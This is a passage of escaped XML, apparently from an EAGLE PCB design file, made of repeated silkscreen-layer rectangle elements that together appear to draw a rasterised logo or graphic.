x1=\"-2.5422\" y1=\"0.5262\" x2=\"-1.6852\" y2=\"0.5306\" layer=\"21\"/>\n<rectangle x1=\"-1.3122\" y1=\"0.5262\" x2=\"-0.1665\" y2=\"0.5306\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.5262\" x2=\"1.2233\" y2=\"0.5306\" layer=\"21\"/>\n<rectangle x1=\"1.6008\" y1=\"0.5262\" x2=\"2.4578\" y2=\"0.5306\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.5306\" x2=\"-1.6808\" y2=\"0.535\" layer=\"21\"/>\n<rectangle x1=\"-1.3078\" y1=\"0.5306\" x2=\"-0.1665\" y2=\"0.535\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.5306\" x2=\"1.2233\" y2=\"0.535\" layer=\"21\"/>\n<rectangle x1=\"1.5963\" y1=\"0.5306\" x2=\"2.4578\" y2=\"0.535\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.535\" x2=\"-1.6808\" y2=\"0.5395\" layer=\"21\"/>\n<rectangle x1=\"-1.3033\" y1=\"0.535\" x2=\"-0.1665\" y2=\"0.5395\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.535\" x2=\"1.2189\" y2=\"0.5395\" layer=\"21\"/>\n<rectangle x1=\"1.5963\" y1=\"0.535\" x2=\"2.4578\" y2=\"0.5395\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.5395\" x2=\"-1.6763\" y2=\"0.5439\" layer=\"21\"/>\n<rectangle x1=\"-1.3033\" y1=\"0.5395\" x2=\"-0.1665\" y2=\"0.5439\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.5395\" x2=\"1.2189\" y2=\"0.5439\" layer=\"21\"/>\n<rectangle x1=\"1.5919\" y1=\"0.5395\" x2=\"2.4578\" y2=\"0.5439\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.5439\" x2=\"-1.6763\" y2=\"0.5484\" layer=\"21\"/>\n<rectangle x1=\"-1.2989\" y1=\"0.5439\" x2=\"-0.1665\" y2=\"0.5484\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.5439\" x2=\"1.2144\" y2=\"0.5484\" layer=\"21\"/>\n<rectangle x1=\"1.5874\" y1=\"0.5439\" x2=\"2.4578\" y2=\"0.5484\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.5484\" x2=\"-1.6719\" y2=\"0.5528\" layer=\"21\"/>\n<rectangle x1=\"-1.2989\" y1=\"0.5484\" x2=\"-0.1665\" y2=\"0.5528\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.5484\" x2=\"1.2144\" y2=\"0.5528\" layer=\"21\"/>\n<rectangle x1=\"1.5874\" y1=\"0.5484\" x2=\"2.4578\" y2=\"0.5528\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.5528\" x2=\"-1.6674\" y2=\"0.5573\" layer=\"21\"/>\n<rectangle x1=\"-1.2944\" y1=\"0.5528\" x2=\"-0.1665\" y2=\"0.5573\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.5528\" x2=\"1.21\" y2=\"0.5573\" layer=\"21\"/>\n<rectangle x1=\"1.583\" y1=\"0.5528\" x2=\"2.4578\" y2=\"0.5573\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.5573\" x2=\"-1.6674\" y2=\"0.5617\" layer=\"21\"/>\n<rectangle x1=\"-1.2944\" y1=\"0.5573\" x2=\"-0.1665\" y2=\"0.5617\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.5573\" x2=\"1.2056\" y2=\"0.5617\" layer=\"21\"/>\n<rectangle x1=\"1.583\" y1=\"0.5573\" x2=\"2.4578\" y2=\"0.5617\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.5617\" x2=\"-1.663\" y2=\"0.5661\" layer=\"21\"/>\n<rectangle x1=\"-1.29\" y1=\"0.5617\" x2=\"-0.1665\" y2=\"0.5661\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.5617\" x2=\"1.2056\" y2=\"0.5661\" layer=\"21\"/>\n<rectangle x1=\"1.5786\" y1=\"0.5617\" x2=\"2.4578\" y2=\"0.5661\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.5661\" x2=\"-1.663\" y2=\"0.5706\" layer=\"21\"/>\n<rectangle x1=\"-1.2856\" y1=\"0.5661\" x2=\"-0.1665\" y2=\"0.5706\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.5661\" x2=\"1.2011\" y2=\"0.5706\" layer=\"21\"/>\n<rectangle x1=\"1.5786\" y1=\"0.5661\" x2=\"2.4578\" y2=\"0.5706\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.5706\" x2=\"-1.6586\" y2=\"0.575\" layer=\"21\"/>\n<rectangle x1=\"-1.2856\" y1=\"0.5706\" x2=\"-0.1665\" y2=\"0.575\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.5706\" x2=\"1.2011\" y2=\"0.575\" layer=\"21\"/>\n<rectangle x1=\"1.5741\" y1=\"0.5706\" x2=\"2.4578\" y2=\"0.575\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.575\" x2=\"-1.6541\" y2=\"0.5795\" layer=\"21\"/>\n<rectangle x1=\"-1.2811\" y1=\"0.575\" x2=\"-0.1665\" y2=\"0.5795\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.575\" x2=\"1.1967\" y2=\"0.5795\" layer=\"21\"/>\n<rectangle x1=\"1.5697\" y1=\"0.575\" x2=\"2.4578\" y2=\"0.5795\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.5795\" x2=\"-1.6541\" y2=\"0.5839\" layer=\"21\"/>\n<rectangle x1=\"-1.2811\" y1=\"0.5795\" x2=\"-0.1665\" y2=\"0.5839\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.5795\" x2=\"1.1967\" y2=\"0.5839\" layer=\"21\"/>\n<rectangle x1=\"1.5697\" y1=\"0.5795\" x2=\"2.4578\" y2=\"0.5839\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.5839\" x2=\"-1.6497\" y2=\"0.5883\" layer=\"21\"/>\n<rectangle x1=\"-1.2767\" y1=\"0.5839\" x2=\"-0.1665\" y2=\"0.5883\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.5839\" x2=\"1.1922\" y2=\"0.5883\" layer=\"21\"/>\n<rectangle x1=\"1.5652\" y1=\"0.5839\" x2=\"2.4578\" y2=\"0.5883\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.5883\" x2=\"-1.6497\" y2=\"0.5928\" layer=\"21\"/>\n<rectangle x1=\"-1.2722\" y1=\"0.5883\" x2=\"-0.1665\" y2=\"0.5928\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.5883\" x2=\"1.1878\" y2=\"0.5928\" layer=\"21\"/>\n<rectangle x1=\"1.5652\" y1=\"0.5883\" x2=\"2.4578\" y2=\"0.5928\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.5928\" x2=\"-1.6452\" y2=\"0.5972\" layer=\"21\"/>\n<rectangle x1=\"-1.2722\" y1=\"0.5928\" x2=\"-0.1665\" y2=\"0.5972\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.5928\" x2=\"1.1878\" y2=\"0.5972\" layer=\"21\"/>\n<rectangle x1=\"1.5608\" y1=\"0.5928\" x2=\"2.4578\" y2=\"0.5972\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.5972\" x2=\"-1.6452\" y2=\"0.6017\" layer=\"21\"/>\n<rectangle x1=\"-1.2678\" y1=\"0.5972\" x2=\"-0.1665\" y2=\"0.6017\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.5972\" x2=\"1.1834\" y2=\"0.6017\" layer=\"21\"/>\n<rectangle x1=\"1.5608\" y1=\"0.5972\" x2=\"2.4578\" y2=\"0.6017\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.6017\" x2=\"-1.6408\" y2=\"0.6061\" layer=\"21\"/>\n<rectangle x1=\"-1.2678\" y1=\"0.6017\" x2=\"-0.1665\" y2=\"0.6061\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.6017\" x2=\"1.1834\" y2=\"0.6061\" layer=\"21\"/>\n<rectangle x1=\"1.5564\" y1=\"0.6017\" x2=\"2.4578\" y2=\"0.6061\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.6061\" x2=\"-1.6364\" y2=\"0.6105\" layer=\"21\"/>\n<rectangle x1=\"-1.2634\" y1=\"0.6061\" x2=\"-0.1665\" y2=\"0.6105\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.6061\" x2=\"1.1789\" y2=\"0.6105\" layer=\"21\"/>\n<rectangle x1=\"1.5519\" y1=\"0.6061\" x2=\"2.4578\" y2=\"0.6105\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.6105\" x2=\"-1.6364\" y2=\"0.615\" layer=\"21\"/>\n<rectangle x1=\"-1.2634\" y1=\"0.6105\" x2=\"-0.1665\" y2=\"0.615\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.6105\" x2=\"1.1789\" y2=\"0.615\" layer=\"21\"/>\n<rectangle x1=\"1.5519\" y1=\"0.6105\" x2=\"2.4578\" y2=\"0.615\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.615\" x2=\"-1.6319\" y2=\"0.6194\" layer=\"21\"/>\n<rectangle x1=\"-1.2589\" y1=\"0.615\" x2=\"-0.1665\" y2=\"0.6194\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.615\" x2=\"1.1745\" y2=\"0.6194\" layer=\"21\"/>\n<rectangle x1=\"1.5475\" y1=\"0.615\" x2=\"2.4578\" y2=\"0.6194\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.6194\" x2=\"-1.6319\" y2=\"0.6239\" layer=\"21\"/>\n<rectangle x1=\"-1.2545\" y1=\"0.6194\" x2=\"-0.1665\" y2=\"0.6239\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.6194\" x2=\"1.17\" y2=\"0.6239\" layer=\"21\"/>\n<rectangle x1=\"1.5475\" y1=\"0.6194\" x2=\"2.4578\" y2=\"0.6239\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.6239\" x2=\"-1.6275\" y2=\"0.6283\" layer=\"21\"/>\n<rectangle x1=\"-1.2545\" y1=\"0.6239\" x2=\"-0.1665\" y2=\"0.6283\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.6239\" x2=\"1.17\" y2=\"0.6283\" layer=\"21\"/>\n<rectangle x1=\"1.543\" y1=\"0.6239\" x2=\"2.4578\" y2=\"0.6283\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.6283\" x2=\"-1.6275\" y2=\"0.6327\" layer=\"21\"/>\n<rectangle x1=\"-1.25\" y1=\"0.6283\" x2=\"-0.1665\" y2=\"0.6327\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.6283\" x2=\"1.1656\" y2=\"0.6327\" layer=\"21\"/>\n<rectangle x1=\"1.543\" y1=\"0.6283\" x2=\"2.4578\" y2=\"0.6327\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.6327\" x2=\"-1.623\" y2=\"0.6372\" layer=\"21\"/>\n<rectangle x1=\"-1.25\" y1=\"0.6327\" x2=\"-0.1665\" y2=\"0.6372\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.6327\" x2=\"1.1656\" y2=\"0.6372\" layer=\"21\"/>\n<rectangle x1=\"1.5386\" y1=\"0.6327\" x2=\"2.4578\" y2=\"0.6372\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.6372\" x2=\"-1.6186\" y2=\"0.6416\" layer=\"21\"/>\n<rectangle x1=\"-1.2456\" y1=\"0.6372\" x2=\"-0.1665\" y2=\"0.6416\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.6372\" x2=\"1.1612\" y2=\"0.6416\" layer=\"21\"/>\n<rectangle x1=\"1.5342\" y1=\"0.6372\" x2=\"2.4578\" y2=\"0.6416\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.6416\" x2=\"-1.6186\" y2=\"0.6461\" layer=\"21\"/>\n<rectangle x1=\"-1.2456\" y1=\"0.6416\" x2=\"-0.1665\" y2=\"0.6461\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.6416\" x2=\"1.1567\" y2=\"0.6461\" layer=\"21\"/>\n<rectangle x1=\"1.5342\" y1=\"0.6416\" x2=\"2.4578\" y2=\"0.6461\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.6461\" x2=\"-1.6142\" y2=\"0.6505\" layer=\"21\"/>\n<rectangle x1=\"-1.2411\" y1=\"0.6461\" x2=\"-0.1665\" y2=\"0.6505\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.6461\" x2=\"1.1567\" y2=\"0.6505\" layer=\"21\"/>\n<rectangle x1=\"1.5297\" y1=\"0.6461\" x2=\"2.4578\" y2=\"0.6505\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.6505\" x2=\"-1.6142\" y2=\"0.6549\" layer=\"21\"/>\n<rectangle x1=\"-1.2367\" y1=\"0.6505\" x2=\"-0.1665\" y2=\"0.6549\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.6505\" x2=\"1.1523\" y2=\"0.6549\" layer=\"21\"/>\n<rectangle x1=\"1.5297\" y1=\"0.6505\" x2=\"2.4578\" y2=\"0.6549\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.6549\" x2=\"-1.6097\" y2=\"0.6594\" layer=\"21\"/>\n<rectangle x1=\"-1.2367\" y1=\"0.6549\" x2=\"-0.1665\" y2=\"0.6594\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.6549\" x2=\"1.1523\" y2=\"0.6594\" layer=\"21\"/>\n<rectangle x1=\"1.5253\" y1=\"0.6549\" x2=\"2.4578\" y2=\"0.6594\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.6594\" x2=\"-1.6053\" y2=\"0.6638\" layer=\"21\"/>\n<rectangle x1=\"-1.2323\" y1=\"0.6594\" x2=\"-0.1665\" y2=\"0.6638\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.6594\" x2=\"1.1478\" y2=\"0.6638\" layer=\"21\"/>\n<rectangle x1=\"1.5208\" y1=\"0.6594\" x2=\"2.4578\" y2=\"0.6638\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.6638\" x2=\"-1.6053\" y2=\"0.6683\" layer=\"21\"/>\n<rectangle x1=\"-1.2323\" y1=\"0.6638\" x2=\"-0.1665\" y2=\"0.6683\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.6638\" x2=\"1.1478\" y2=\"0.6683\" layer=\"21\"/>\n<rectangle x1=\"1.5208\" y1=\"0.6638\" x2=\"2.4578\" y2=\"0.6683\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.6683\" x2=\"-1.6008\" y2=\"0.6727\" layer=\"21\"/>\n<rectangle x1=\"-1.2278\" y1=\"0.6683\" x2=\"-0.1665\" y2=\"0.6727\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.6683\" x2=\"1.1434\" y2=\"0.6727\" layer=\"21\"/>\n<rectangle x1=\"1.5164\" y1=\"0.6683\" x2=\"2.4578\" y2=\"0.6727\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.6727\" x2=\"-1.6008\" y2=\"0.6771\" layer=\"21\"/>\n<rectangle x1=\"-1.2278\" y1=\"0.6727\" x2=\"-0.1665\" y2=\"0.6771\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.6727\" x2=\"1.139\" y2=\"0.6771\" layer=\"21\"/>\n<rectangle x1=\"1.5164\" y1=\"0.6727\" x2=\"2.4578\" y2=\"0.6771\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.6771\" x2=\"-1.5964\" y2=\"0.6816\" layer=\"21\"/>\n<rectangle x1=\"-1.2234\" y1=\"0.6771\" x2=\"-0.1665\" y2=\"0.6816\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.6771\" x2=\"1.139\" y2=\"0.6816\" layer=\"21\"/>\n<rectangle x1=\"1.512\" y1=\"0.6771\" x2=\"2.4578\" y2=\"0.6816\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.6816\" x2=\"-1.5964\" y2=\"0.686\" layer=\"21\"/>\n<rectangle x1=\"-1.2189\" y1=\"0.6816\" x2=\"-0.1665\" y2=\"0.686\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.6816\" x2=\"1.1345\" y2=\"0.686\" layer=\"21\"/>\n<rectangle x1=\"1.512\" y1=\"0.6816\" x2=\"2.4578\" y2=\"0.686\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.686\" x2=\"-1.5919\" y2=\"0.6905\" layer=\"21\"/>\n<rectangle x1=\"-1.2189\" y1=\"0.686\" x2=\"-0.1665\" y2=\"0.6905\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.686\" x2=\"1.1345\" y2=\"0.6905\" layer=\"21\"/>\n<rectangle x1=\"1.5075\" y1=\"0.686\" x2=\"2.4578\" y2=\"0.6905\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.6905\" x2=\"-1.5875\" y2=\"0.6949\" layer=\"21\"/>\n<rectangle x1=\"-1.2145\" y1=\"0.6905\" x2=\"-0.1665\" y2=\"0.6949\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.6905\" x2=\"1.1301\" y2=\"0.6949\" layer=\"21\"/>\n<rectangle x1=\"1.5031\" y1=\"0.6905\" x2=\"2.4578\" y2=\"0.6949\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.6949\" x2=\"-1.5875\" y2=\"0.6993\" layer=\"21\"/>\n<rectangle x1=\"-1.2145\" y1=\"0.6949\" x2=\"-0.1665\" y2=\"0.6993\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.6949\" x2=\"1.1301\" y2=\"0.6993\" layer=\"21\"/>\n<rectangle x1=\"1.5031\" y1=\"0.6949\" x2=\"2.4578\" y2=\"0.6993\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.6993\" x2=\"-1.5831\" y2=\"0.7038\" layer=\"21\"/>\n<rectangle x1=\"-1.2101\" y1=\"0.6993\" x2=\"-0.1665\" y2=\"0.7038\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.6993\" x2=\"1.1256\" y2=\"0.7038\" layer=\"21\"/>\n<rectangle x1=\"1.4986\" y1=\"0.6993\" x2=\"2.4578\" y2=\"0.7038\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.7038\" x2=\"-1.5831\" y2=\"0.7082\" layer=\"21\"/>\n<rectangle x1=\"-1.2056\" y1=\"0.7038\" x2=\"-0.1665\" y2=\"0.7082\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.7038\" x2=\"1.1212\" y2=\"0.7082\" layer=\"21\"/>\n<rectangle x1=\"1.4986\" y1=\"0.7038\" x2=\"2.4578\" y2=\"0.7082\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.7082\" x2=\"-1.5786\" y2=\"0.7127\" layer=\"21\"/>\n<rectangle x1=\"-1.2056\" y1=\"0.7082\" x2=\"-0.1665\" y2=\"0.7127\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.7082\" x2=\"1.1212\" y2=\"0.7127\" layer=\"21\"/>\n<rectangle x1=\"1.4942\" y1=\"0.7082\" x2=\"2.4578\" y2=\"0.7127\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.7127\" x2=\"-1.5786\" y2=\"0.7171\" layer=\"21\"/>\n<rectangle x1=\"-1.2012\" y1=\"0.7127\" x2=\"-0.1665\" y2=\"0.7171\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.7127\" x2=\"1.1168\" y2=\"0.7171\" layer=\"21\"/>\n<rectangle x1=\"1.4942\" y1=\"0.7127\" x2=\"2.4578\" y2=\"0.7171\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.7171\" x2=\"-1.5742\" y2=\"0.7216\" layer=\"21\"/>\n<rectangle x1=\"-1.2012\" y1=\"0.7171\" x2=\"-0.1665\" y2=\"0.7216\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.7171\" x2=\"1.1168\" y2=\"0.7216\" layer=\"21\"/>\n<rectangle x1=\"1.4898\" y1=\"0.7171\" x2=\"2.4578\" y2=\"0.7216\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.7216\" x2=\"-1.5697\" y2=\"0.726\" layer=\"21\"/>\n<rectangle x1=\"-1.1967\" y1=\"0.7216\" x2=\"-0.1665\" y2=\"0.726\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.7216\" x2=\"1.1123\" y2=\"0.726\" layer=\"21\"/>\n<rectangle x1=\"1.4853\" y1=\"0.7216\" x2=\"2.4578\" y2=\"0.726\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.726\" x2=\"-1.5697\" y2=\"0.7304\" layer=\"21\"/>\n<rectangle x1=\"-1.1967\" y1=\"0.726\" x2=\"-0.1665\" y2=\"0.7304\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.726\" x2=\"1.1123\" y2=\"0.7304\" layer=\"21\"/>\n<rectangle x1=\"1.4853\" y1=\"0.726\" x2=\"2.4578\" y2=\"0.7304\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.7304\" x2=\"-1.5653\" y2=\"0.7349\" layer=\"21\"/>\n<rectangle x1=\"-1.1923\" y1=\"0.7304\" x2=\"-0.1665\" y2=\"0.7349\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.7304\" x2=\"1.1079\" y2=\"0.7349\" layer=\"21\"/>\n<rectangle x1=\"1.4809\" y1=\"0.7304\" x2=\"2.4578\" y2=\"0.7349\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.7349\" x2=\"-1.5653\" y2=\"0.7393\" layer=\"21\"/>\n<rectangle x1=\"-1.1879\" y1=\"0.7349\" x2=\"-0.1665\" y2=\"0.7393\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.7349\" x2=\"1.1034\" y2=\"0.7393\" layer=\"21\"/>\n<rectangle x1=\"1.4809\" y1=\"0.7349\" x2=\"2.4578\" y2=\"0.7393\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.7393\" x2=\"-1.5609\" y2=\"0.7438\" layer=\"21\"/>\n<rectangle x1=\"-1.1879\" y1=\"0.7393\" x2=\"-0.1665\" y2=\"0.7438\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.7393\" x2=\"1.1034\" y2=\"0.7438\" layer=\"21\"/>\n<rectangle x1=\"1.4764\" y1=\"0.7393\" x2=\"2.4578\" y2=\"0.7438\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.7438\" x2=\"-1.5609\" y2=\"0.7482\" layer=\"21\"/>\n<rectangle x1=\"-1.1834\" y1=\"0.7438\" x2=\"-0.1665\" y2=\"0.7482\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.7438\" x2=\"1.099\" y2=\"0.7482\" layer=\"21\"/>\n<rectangle x1=\"1.4764\" y1=\"0.7438\" x2=\"2.4578\" y2=\"0.7482\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.7482\" x2=\"-1.5564\" y2=\"0.7526\" layer=\"21\"/>\n<rectangle x1=\"-1.1834\" y1=\"0.7482\" x2=\"-0.1665\" y2=\"0.7526\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.7482\" x2=\"1.099\" y2=\"0.7526\" layer=\"21\"/>\n<rectangle x1=\"1.472\" y1=\"0.7482\" x2=\"2.4578\" y2=\"0.7526\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.7526\" x2=\"-1.552\" y2=\"0.7571\" layer=\"21\"/>\n<rectangle x1=\"-1.179\" y1=\"0.7526\" x2=\"-0.1665\" y2=\"0.7571\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.7526\" x2=\"1.0946\" y2=\"0.7571\" layer=\"21\"/>\n<rectangle x1=\"1.4676\" y1=\"0.7526\" x2=\"2.4578\" y2=\"0.7571\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.7571\" x2=\"-1.552\" y2=\"0.7615\" layer=\"21\"/>\n<rectangle x1=\"-1.179\" y1=\"0.7571\" x2=\"-0.1665\" y2=\"0.7615\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.7571\" x2=\"1.0901\" y2=\"0.7615\" layer=\"21\"/>\n<rectangle x1=\"1.4676\" y1=\"0.7571\" x2=\"2.4578\" y2=\"0.7615\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.7615\" x2=\"-1.5475\" y2=\"0.766\" layer=\"21\"/>\n<rectangle x1=\"-1.1745\" y1=\"0.7615\" x2=\"-0.1665\" y2=\"0.766\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.7615\" x2=\"1.0901\" y2=\"0.766\" layer=\"21\"/>\n<rectangle x1=\"1.4631\" y1=\"0.7615\" x2=\"2.4578\" y2=\"0.766\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.766\" x2=\"-1.5475\" y2=\"0.7704\" layer=\"21\"/>\n<rectangle x1=\"-1.1701\" y1=\"0.766\" x2=\"-0.1665\" y2=\"0.7704\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.766\" x2=\"1.0857\" y2=\"0.7704\" layer=\"21\"/>\n<rectangle x1=\"1.4631\" y1=\"0.766\" x2=\"2.4578\" y2=\"0.7704\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.7704\" x2=\"-1.5431\" y2=\"0.7748\" layer=\"21\"/>\n<rectangle x1=\"-1.1701\" y1=\"0.7704\" x2=\"-0.1665\" y2=\"0.7748\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.7704\" x2=\"1.0857\" y2=\"0.7748\" layer=\"21\"/>\n<rectangle x1=\"1.4587\" y1=\"0.7704\" x2=\"2.4578\" y2=\"0.7748\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.7748\" x2=\"-1.5387\" y2=\"0.7793\" layer=\"21\"/>\n<rectangle x1=\"-1.1657\" y1=\"0.7748\" x2=\"-0.1665\" y2=\"0.7793\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.7748\" x2=\"1.0812\" y2=\"0.7793\" layer=\"21\"/>\n<rectangle x1=\"1.4542\" y1=\"0.7748\" x2=\"2.4578\" y2=\"0.7793\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.7793\" x2=\"-1.5387\" y2=\"0.7837\" layer=\"21\"/>\n<rectangle x1=\"-1.1657\" y1=\"0.7793\" x2=\"-0.1665\" y2=\"0.7837\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.7793\" x2=\"1.0812\" y2=\"0.7837\" layer=\"21\"/>\n<rectangle x1=\"1.4542\" y1=\"0.7793\" x2=\"2.4578\" y2=\"0.7837\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.7837\" x2=\"-1.5342\" y2=\"0.7882\" layer=\"21\"/>\n<rectangle x1=\"-1.1612\" y1=\"0.7837\" x2=\"-0.1665\" y2=\"0.7882\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.7837\" x2=\"1.0768\" y2=\"0.7882\" layer=\"21\"/>\n<rectangle x1=\"1.4498\" y1=\"0.7837\" x2=\"2.4578\" y2=\"0.7882\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.7882\" x2=\"-1.5342\" y2=\"0.7926\" layer=\"21\"/>\n<rectangle x1=\"-1.1612\" y1=\"0.7882\" x2=\"-0.1665\" y2=\"0.7926\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.7882\" x2=\"1.0723\" y2=\"0.7926\" layer=\"21\"/>\n<rectangle x1=\"1.4498\" y1=\"0.7882\" x2=\"2.4578\" y2=\"0.7926\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"0.7926\" x2=\"-1.5298\" y2=\"0.797\" layer=\"21\"/>\n<rectangle x1=\"-1.1568\" y1=\"0.7926\" x2=\"-0.1665\" y2=\"0.797\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"0.7926\" x2=\"1.0723\" y2=\"0.797\" layer=\"21\"/>\n<rectangle 